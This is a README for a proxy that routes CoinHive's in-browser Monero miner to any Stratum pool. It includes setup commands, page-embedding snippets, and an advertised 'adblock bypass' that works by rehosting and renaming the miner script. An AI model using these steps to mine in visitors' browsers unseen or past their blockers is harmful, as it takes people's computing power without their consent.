CoinHive Stratum Mining Proxy

A proof of concept of web mining using CoinHive's JavaScript Mining library. The proxy acts like coin hive to connect to a mining pool. Should work with any monero pool based on the Stratum Mining Protocol. You can even set up your own pool.

Pros: no dev fee, adblock bypass, use any pool you like.

Installation

Run on Docker (docker hub repository):

$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ docker build -t coinhive-stratum-mining-proxy .
$ docker run -p 8892:8892 coinhive-stratum-mining-proxy <stratum tcp host> <stratum tcp port>

eg:

$ docker run -p 8892:8892 coinhive-stratum-mining-proxy xmr-eu1.nanopool.org 14444

Or install dependencies (apt-get install ... or brew install ...):

and run on Linux/Mac box:

$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ pip install -v -r requirements.txt
$ python coinhive-stratum-mining-proxy.py <stratum tcp host> <stratum tcp port>

eg:

$ python coinhive-stratum-mining-proxy.py xmr-eu1.nanopool.org 14444

Usage

  1. Install and Run coinhive-stratum-mining-proxy
  2. Load the Coinhive Miner
<script src="https://coinhive.com/lib/coinhive.min.js"></script>

The javascript can be saved/renamed and loaded from your server, see adblock_bypass.html.

  1. Change the CoinHive.CONFIG.WEBSOCKET_SHARDS config variable:
<script>
CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://localhost:8892/proxy"]];
</script>
  1. Start Mining
<script>
var miner = new CoinHive.Anonymous('YOUR_MONERO_ADDRESS');
miner.start();
</script>

or

<script>
var miner = new CoinHive.User('YOUR_MONERO_ADDRESS', 'YOUR_WORKER_NAME');
miner.start();
</script>

the username will be used as the stratum worker name (use only if your pool supports worker names).

  1. Profit!

SSL/Secure WebSockets

Generate keypair:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 100 -nodes

Run script with --ssl=key.pem:cert.pem parameter:

python coinhive-stratum-mining-proxy.py <stratum tcp host> <stratum tcp port> --ssl=key.pem:cert.pem

If you use the Let's Encrypt generated certificates or if you see the error NET::ERR_CERT_AUTHORITY_INVALID in the browser, you should find the intermediate (a.k.a. chain.pem) certificates and run the script with --ssl=key.pem:cert.pem:chain.pem parameters.

Statistic

Simple stats are available at /stats route:

curl http://localhost:8892/stats?password=YOUR_PASS
{"total_hashes": 0, "uptime": 15.53, "clients": 1}

No password by default, please run with --password=YOUR_PASS argument to setup password.

Demo

Setup and run coinhive-stratum-mining-proxy with xmr-eu1.nanopool.org 14444 parameters and open http://localhost:8892 in your browser for live demo.

Links

Disclaimer

This project is not endorsed by or affiliated with coinhive.com in any way.

License

MIT